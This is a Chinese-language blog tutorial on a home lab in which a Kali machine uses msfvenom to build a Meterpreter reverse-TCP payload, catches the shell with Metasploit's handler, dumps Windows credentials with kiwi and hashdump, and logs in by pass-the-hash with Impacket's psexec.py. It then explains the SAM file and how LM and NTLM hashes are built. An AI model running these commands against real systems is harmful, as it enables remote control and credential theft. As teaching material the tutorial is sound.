网络安全(6) 模拟实验 Metasploit 控制并获取Windows 登录HASH、LM Hash和NTLM Hash密文解析

窃取WINDOWS账号密码

系统环境:主机(Windows系统 IP:192.168.126.129),虚拟机(KALI系统 IP:192.168.126.3),两者需要能通过本地网络互通互连。
攻击工具:Metasploit是一款开源的安全漏洞检测工具,可以帮助安全和IT专业人士识别安全性问题,验证漏洞的缓解措施,并管理专家驱动的安全性进行评估,提供真正的安全风险情报。这些功能包括智能开发,代码审计,Web应用程序扫描,社会工程。

控制Windows系统

  1. 生成反弹型木马
    进入KALI系统,使用以下代码生成程序,反弹到的监听端地址为192.168.126.3,监听端口为12345,文件输出格式为exe并保存到当前路径\~
    msfvenom
msfvenom -p windows/x64/meterpreter/reverse_tcp LHOST=192.168.126.3 LPORT=12345 -f exe -o shell.exe
  1. 在本地通过GIT BASH或其它BASH程序使用SCP命令拉取代码到D盘根目录.
    scp root
scp root@192.168.126.3:/root/shell.exe /d
  1. 返回KALI,并开启监听程序
    exploit
msfconsole #进入Metasploit组件
use exploit/multi/handler #使用反向Shell模块,用于接收反弹的Shell
set paload windows/x64/meterpreter/reverse_tcp #它一种常见的Stagers Payload,它可以让目标系统与攻击者建立一条tcp连接
set lhost 192.168.126.3 #本地主机地址
set lport 12345 #端口号
exploit #启动
  1. 运行成功后,回到Windows电脑中,关闭杀毒软件、防火墙、间谍程序。
    关闭

  2. 在电脑里(右键管理员运行)打开刚刚的下载的那个shell.exe
    打开成功后即可在kali中看到效果如下:
    meterpreter

远程登录Windows

  1. 主机"以管理员身份运行"CMD.exe,接着启动administrator账户,并回到用户界面设置密码。
    administrator
net user administrator /active:yes
  1. 返回KALI系统的监听程序,尝试获取明文密码
    creds_all
load kiwi #载入kiwi (旧版名称: Mimikatz) 获取账户密码工具
getsystem #获取system权限(提权)
creds_all #获取所有明文密码

使用msf自带的mimikatz抓取密码,但可以看到密码为null,说明这台pc已经打了微软的补丁,抓取不到明文密码了

  1. 尝试获取Hash密码
    hashdump

Hashdump Meterpreter脚本可以从目标机器中提取Hash值,破解Hash值即可获得登录密码。计算机中的每个账号(如果是域服务器,则为域内的每个账号)的用户名和密码都存储在sam文件中,当计算机运行时,该文件对所有账号进行锁定,要
想访问就必须有"系统级”账号。

  1. 这个时候我们可以用加密后的哈希登录:
    impact
python3 psexec.py Administrator@192.168.126.129 -hashes 密钥:密钥

Psexec.py允许你在远程Windows系统上执行进程,复制文件,并返回处理输出结果。此外,它还允许你直接使用完整的交互式控制台执行远程shell命令

注意:在只知道 NTLM Hash 的情况下,只有 RID 为 500 的管理员用户才能绕过 UAC 成功执行 PTH;若 RID 不是 500,即便是在本地管理员用户组里也无法执行 PTH。 这就是为什么一开始要先开启Windows账户。

Impacket 是一组用于处理网络协议的 Python 类。 Impacket 专注于提供对数据包的低级编程访问,并为某些协议(例如 SMB1-3 和 MSRPC)提供协议实现本身。

思考

1. windows登录的明文密码,存储过程是怎么样的,密文存在哪个文件下,该文件是否可以打开,并且查看到密文
2. 我们通过hashdump 抓取出 所有用户的密文,分为两个模块,为什么? 这两个模块分别都代表什么
3. 为什么第一个模块 永远是一样的aad3?
4. 这两个模块的加密算法有什么不同,如何加密的?

解析登录密文

Windows系统为了安全考虑,并不会以明文形式存储用户的登录密码。这是一个非常重要的设计原则,因为如果密码以明文形式存储,那么任何能够访问存储位置的人或程序都可以轻易地获取到密码,这显然是不安全的。

登录流程

ntlm hash

  1. 首先,用户触发登录过程,winlogon.exe 进程检测到这一操作,并调用GINA来显示登录对话框,以供用户输入用户名和密码。

    INA负责收集和传递用户的身份验证信息。

  2. 接着,用户输入用户名和密码,并点击确定后,GINA(图形标识和身份验证)将这些信息发送给LSA(本地安全认证子系统)进行验证。

    LSA是Windows中负责身份验证的核心组件,它会根据配置和策略对用户进行验证。

  3. 在验证过程中,LSA可能会调用相应的验证程序包(如msv1_0.dll),对用户输入的信息进行处理,并与存储在SAM(安全账户管理器)数据库中的密钥进行对比。

    SAM数据库存储了用户的账户信息和密码哈希等关键数据。

  4. 如果对比结果显示用户有效,SAM会将用户的SID(安全标识符)以及用户所属用户组的SID等相关信息发送给LSA。

    SID是Windows系统中用于唯一标识用户和组的安全标识符。

  5. 随后,LSA根据收到的SID信息创建安全访问令牌,并将令牌的句柄和登录信息发送给winlogon进程。

    安全访问令牌是Windows用于控制对系统资源的访问权限的重要机制。

  6. 最后,winlogon进程对用户登录进行最后的处理,完成整个登录过程。此时,用户将看到Windows桌面,并可以开始使用系统。

存储过程

那么,Windows是如何存储用户密码的呢?

在用户输入密码进行登录时,Windows会采用一种或多种加密协议(如NTLM或Kerberos)对密码进行加密处理。
这些加密协议会将用户输入的明文密码转换成一种难以逆向解析的密文形式。
这样,即使有人能够访问到存储密码的位置,也无法直接获取到用户的明文密码。

SAM文件

接下来,我们来看看这些加密后的密码密文是存储在哪个文件下的。

在Windows系统中,用户登录密码的密文通常存储在

C:\Windows\System32\config\SAM

SAM文件下的SAM数据库中。

SAM数据库是Windows系统中用于存储账户安全信息的核心文件之一,它包含了用户的账户信息、密码哈希值等敏感数据。

那么,关于这个文件是否可以打开并查看到密文的问题,答案是一般情况下是不可以的。
SAM文件是系统级的文件,受到严格的权限限制,普通用户或程序是无法直接打开并查看其中的内容的。
即使具有管理员权限,直接打开SAM文件也会遇到困难,因为系统通常会显示“另一个程序正在使用此文件”或“进程无法访问”等提示。

然而渗透测试人员或安全研究人员可以通过Mimikatz打开SAM文件

Mimikatz是一款功能强大的安全工具,由Benjamin Delpy使用C语言编写。它可以从机器内存中提取明文密码、密码Hash、PIN码和Kerberos票据等敏感信息。
Mimikatz的强大之处在于它可以直接从lsass.exe进程中获取当前登录系统用户的密码。
lsass是Windows系统的安全机制,主要用于本地安全和登录策略。当你登录系统时,密码会存储在lsass内存中,经过可逆算法加密后存储。Mimikatz通过对lsass逆算,可以获取到明文密码。

hashdump

我们通过hashdump 抓取出 所有用户的密文,分为两个模块,为什么? 这两个模块分别都代表什么。

hashdump是一种密码破解技术,它的原理是通过获取目标系统中的哈希值,然后利用各种手段将哈希值破解为明文密码。
hashdump
原因是因为从windows NT开始,windows采用的是NTLM Hash密码,因此hashdump为了区分不同版本的windows系统加密方式,才能正确地提取和分析密文。
第一个模块是LM Hash采用DES加密,第二个模块是NTLM Hash基于MD4加密算法。

LM Hash加密方式

为什么第一个模块 永远是一样的aad3?
  1. 用户的密码转换为大写,密码转换为16进制字符串,不足14字节将会用0来再后面补全。
  2. 密码的16进制字符串被分成两个7byte部分。
  3. 每部分转换成比特流,并且长度位56bit,长度不足使用0在左边补齐长度
  4. 再分7bit为一组,每组末尾加0,再组成一组。

根据这个加密过程,就可以看到使用的是分组的DES,如果密码强度是小于7位,那么第二个分组加密后的结果肯定是aad3b435b51404ee,如果我们看到LM hash的结尾是aad3b435b51404ee,就可以很轻易的发现密码强度少于7位。
而我们这次看到的是两组aad3b435b51404ee aad3b435b51404ee,这一般代表密码为空或者LM Hash被禁用,分割的两组明文都无。

LM Hash(“LAN Manager Hash”) 是微软为了提高Windows操作系统的安全性而采用的散列加密算法,其本质是DES加密。 尽管LM Hash较容易被破解,但是为了保证系统的兼容性,Windows只是将LM Hash禁用了(从Windows Vista和Windows
Server 2008版本开始,Windows操作系统默认禁用LM Hash)。 LM Hash明文密码被限制在14位以内,如果LM Hash被禁用了,抓取的LM Hash通常为"aad3b435b51404eeaad3b435b51404ee"。

NTLM Hash加密

NTLM(New Technology LAN Manager)身份验证协议是微软用于Windows身份验证的主要协议之一。
早期SMB协议以明文口令的形式在网络上传输,因此产生了安全性问题。
后来出现了LM(LAN Manager)身份验证协议,它是如此的简单以至于很容易被破解。
之后微软提出了NTLM身份验证协议,以及更新的NTLM V2版本。
NTLM协议既可以为工作组中的机器提供身份验证,也可以用于域环境身份验证。NTLM协议可以为SMB、HTTP、LDAP、SMTP等上层微软应用提供身份认证。

NTLM_Hash = md4(unicode(hex(password)))
  1. 先将用户密码转换为16进制格式。
  2. 再将16进制格式的字符串进行ASCII转Unicode编码。
  3. 最后对Unicode编码的16进制字符串进行标准MD4单向哈希加密。

最近更新

  1. TCP协议是安全的吗?

    2024-05-10 14:22:03       18 阅读
  2. 阿里云服务器执行yum,一直下载docker-ce-stable失败

    2024-05-10 14:22:03       19 阅读
  3. 【Python教程】压缩PDF文件大小

    2024-05-10 14:22:03       19 阅读
  4. 通过文章id递归查询所有评论(xml)

    2024-05-10 14:22:03       20 阅读

热门阅读

  1. QT设计模式:模板模式

    2024-05-10 14:22:03       9 阅读
  2. 代码随想录算法训练营第四十七天

    2024-05-10 14:22:03       10 阅读
  3. linux自用命令

    2024-05-10 14:22:03       7 阅读
  4. golang系统内置函数整理

    2024-05-10 14:22:03       8 阅读
  5. 学习Python第6天:函数与模块

    2024-05-10 14:22:03       10 阅读
  6. Linux 系统启动时设置一个全局环境变量

    2024-05-10 14:22:03       11 阅读
  7. STM32中usart使用DMA接受数据

    2024-05-10 14:22:03       11 阅读